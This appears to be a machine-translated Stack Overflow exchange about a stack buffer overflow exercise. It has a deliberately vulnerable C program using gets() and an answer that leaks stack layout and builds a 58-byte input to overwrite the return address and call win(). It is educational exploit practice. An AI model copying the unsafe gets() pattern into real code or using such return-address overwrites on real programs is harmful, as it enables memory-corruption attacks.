Fia*_*ill 1 c stack-overflow gdb buffer-overflow
所以我试图对此代码执行基于堆栈的缓冲区溢出:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("well done!");
}
void vulnfunc(){
char buffer[36];
gets(buffer);
printf("Buffer contents are %s\n",buffer);
}
int main(int argc,char**argv){
vulnfunc();
}
Run Code Online (Sandbox Code Playgroud)
所以我用 44 个字节覆盖了 EIP(缓冲区的 36 个字节和额外的 8 个字节)。然后我得到了函数 win 的地址,将其更改0x53e58955为适当的地址,如下所示
\x55\x89\xe5\x53
Run Code Online (Sandbox Code Playgroud)
当我将两个字符串连接在一起作为输入时,它仍然不会调用该win()函数。我尝试添加"BBBB"填充来填充 ebp,但也没有运气。如果有人可以提供一些建议,我将非常感激。
它在 Ubuntu、x86_64 上运行
我在 Windows 上重现了该漏洞。由于系统和控制台可能不同,我将解释该过程而不是原始代码。因此,它不是复制粘贴解决方案,而是复制过程以获得相似结果的解决方案。
\n首先,我想找出堆栈结构。所以我执行了以下修改vulnfunc():
void vulnfunc(){\n char buffer[36];\n\n printf("win(): 0x%p\\n", win);\n printf("vulnfunc(): 0x%p\\n", vulnfunc);\n printf("main(): 0x%p\\n", main);\n printf("printf(): 0x%p\\n", printf);\n \n printf( "0x%08X %08X %08X %08X\\n",\n (int) *((int*)&buffer[36]), (int) *((int*)&buffer[40]),\n (int) *((int*)&buffer[44]), (int) *((int*)&buffer[48]));\n printf( "0x%08X %08X %08X %08X\\n",\n (int) *((int*)&buffer[52]), (int) *((int*)&buffer[56]),\n (int) *((int*)&buffer[60]), (int) *((int*)&buffer[64]) );\n printf( "0x%08X %08X %08X %08X\\n",\n (int) *((int*)&buffer[68]), (int) *((int*)&buffer[72]),\n (int) *((int*)&buffer[76]), (int) *((int*)&buffer[80]) );\n\n gets(buffer);\n}\nRun Code Online (Sandbox Code Playgroud)\n正如您所看到的,我打印了win()地址以及所有其他相关函数,包括main和printf。然后,我在buffer之后打印了堆栈的相关部分(48 字节)array。
我得到以下输出:
\nwin(): 0x0000000000401530\nvulnfunc(): 0x000000000040154B\nmain(): 0x00000000004016D9\nprintf(): 0x0000000000402C98\n0xFFFFFFFF 00000008 00000000 0062FE20\n0x00000000 004016F2 00000000 00000000\n0x00000000 00000008 00000000 00000000\nRun Code Online (Sandbox Code Playgroud)\n函数的地址很有用,因为我需要的是main()(address 0x00000000004016D9) 内的返回地址。候选人当然是004016F2。
因此,我需要插入足够的字符gets()才能到达所需的地址。我们需要准确地插入 24 个字符,即包含地址的数组末尾之外的从字节 21 到字节 24 的字符。buffer它们前面的 20 个字节的值并不重要,因此我插入随机 ASCII 字符。
结果是预期的:
\nwin(): 0x0000000000401530\nvulnfunc(): 0x000000000040154B\nmain(): 0x00000000004016D9\nprintf(): 0x0000000000402C98\n0xFFFFFFFF 00000008 00000000 0062FE20\n0x00000000 004016F2 00000000 00000000\n0x00000000 00000008 00000000 00000000\n123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0\xc2\xa7@\nBuffer contents are 123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0@\nwell done!\n<crash>\nRun Code Online (Sandbox Code Playgroud)\n请注意如何:
\n"123456789012345678901234567890123456"是占据数组“合法”区域的 36 个字符"AAAABBBBCCCCDDDDEEEE"是 20 个“填充”字符,只是为了到达堆栈的所需位置0\xc2\xa7@( 0x30,0x15和0x40) 并且由 填充的字符串终止符gets()提供了缺失的0x00正如预期的那样,该win()函数被执行;之后发生崩溃,因为从它返回后堆栈不包含正确的返回地址main()(它已损坏)。
在 Ubuntu 上,您可能会有不同的堆栈配置,但您可以通过非常相似的方式发现如何执行所需的漏洞利用。
\n